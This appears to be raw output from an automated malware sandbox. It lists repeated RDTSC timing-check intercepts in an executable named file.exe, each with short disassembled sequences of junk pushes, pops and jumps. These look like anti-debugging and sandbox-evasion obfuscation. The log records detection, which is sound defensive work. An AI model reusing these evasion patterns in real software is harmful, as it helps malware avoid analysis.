Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B31 second address: 8E8B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B35 second address: 8E8B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F15714A7BBDh 0x0000000c popad 0x0000000d push edi 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jo 00007F15714A7BA6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E90D5 second address: 8E90F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9403 second address: 8E9434 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F15714A7BB7h 0x00000010 jmp 00007F15714A7BAEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A796 second address: 86A7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007F1570C67156h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0946 second address: 8F094C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F094C second address: 8F0956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0956 second address: 8F095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F095E second address: 8F0981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F1570C6715Bh 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F1570C6715Ah 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0AC8 second address: 8F0AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C0E second address: 8F0C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C12 second address: 8F0C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C19 second address: 8F0C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0DAF second address: 8F0DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F107B second address: 8F1082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F11D5 second address: 8F11DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1389 second address: 8F13C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1570C67167h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1570C67161h 0x00000010 popad 0x00000011 push edi 0x00000012 jnc 00007F1570C67162h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F13C1 second address: 8F13C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1518 second address: 8F151E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F151E second address: 8F1525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0528 second address: 8F053F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67162h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6164 second address: 8F6180 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F15714A7BB6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6180 second address: 8F61A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F1570C67156h 0x0000000b jmp 00007F1570C67164h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F659C second address: 8F65A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F65A0 second address: 8F65B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C6715Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8698 second address: 8F869F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F869F second address: 8F86BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C6715Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F1570C67156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F86BD second address: 8F86C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBF4 second address: 8FDBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBF9 second address: 8FDC0B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15714A7BA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F15714A7BA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC0B second address: 8FDC29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F1570C67156h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC29 second address: 8FDC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC2D second address: 8FDC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67164h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD21D second address: 8FD228 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F15714A7BA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD896 second address: 8FD89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD89C second address: 8FD8C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F15714A7BB7h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8C6 second address: 8FD8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8CA second address: 8FD8CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8CE second address: 8FD8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C6715Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8E2 second address: 8FD8E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8E8 second address: 8FD8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901D19 second address: 901D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F15714A7BA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901D26 second address: 901D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901D2A second address: 901D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15714A7BA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B459C second address: 8B45A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B45A3 second address: 8B45A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B45A8 second address: 8B45BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1570C67156h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B45BB second address: 8B45C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B45C4 second address: 8B45CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B46BA second address: 8B46BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B46BF second address: 8B46D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jne 00007F1570C67156h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906D74 second address: 906D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F15714A7BA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071C5 second address: 9071CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071CB second address: 9071D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071D3 second address: 9071E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071E1 second address: 9071E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071E7 second address: 9071EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071EB second address: 9071EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9071EF second address: 907207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1570C67160h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90748A second address: 907493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C84F second address: 90C853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C853 second address: 90C857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C9F0 second address: 90C9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CB1F second address: 90CB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jp 00007F15714A7BA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CB30 second address: 90CB36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CE11 second address: 90CE20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F15714A7BA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CE20 second address: 90CE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67169h 0x00000009 jmp 00007F1570C6715Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CE49 second address: 90CE75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007F15714A7BADh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F15714A7BA6h 0x00000015 jmp 00007F15714A7BAFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DA61 second address: 90DA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F1570C67156h 0x0000000c jmp 00007F1570C67163h 0x00000011 jmp 00007F1570C67163h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E27C second address: 90E2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15714A7BB5h 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F15714A7BA6h 0x00000011 js 00007F15714A7BA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E2A3 second address: 90E2C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E596 second address: 90E5A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E5A8 second address: 90E5CF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1570C6716Dh 0x00000008 jmp 00007F1570C67167h 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F1570C67156h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E5CF second address: 90E5F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F15714A7BB4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E5F0 second address: 90E638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1570C67156h 0x0000000a jmp 00007F1570C6715Bh 0x0000000f popad 0x00000010 je 00007F1570C67182h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912430 second address: 91244F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F15714A7BB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9125B7 second address: 9125C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F1570C6715Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9129C8 second address: 9129D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15714A7BA6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912B44 second address: 912B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1570C6715Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912B5A second address: 912B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912B6E second address: 912B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912CD4 second address: 912CDE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F15714A7BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912CDE second address: 912CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jnl 00007F1570C67156h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jmp 00007F1570C6715Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912CFD second address: 912D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912D06 second address: 912D0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9174F3 second address: 9174FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15714A7BA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F6F1 second address: 91F6F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D85C second address: 91D86B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jne 00007F15714A7BA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D86B second address: 91D881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1570C6715Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D881 second address: 91D887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D9F6 second address: 91DA0A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1570C6715Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DCE3 second address: 91DCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DCE9 second address: 91DCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DCF0 second address: 91DCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DCF6 second address: 91DCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DCFC second address: 91DD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E0F1 second address: 91E10A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F1570C67156h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E10A second address: 91E112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E112 second address: 91E135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F1570C67166h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
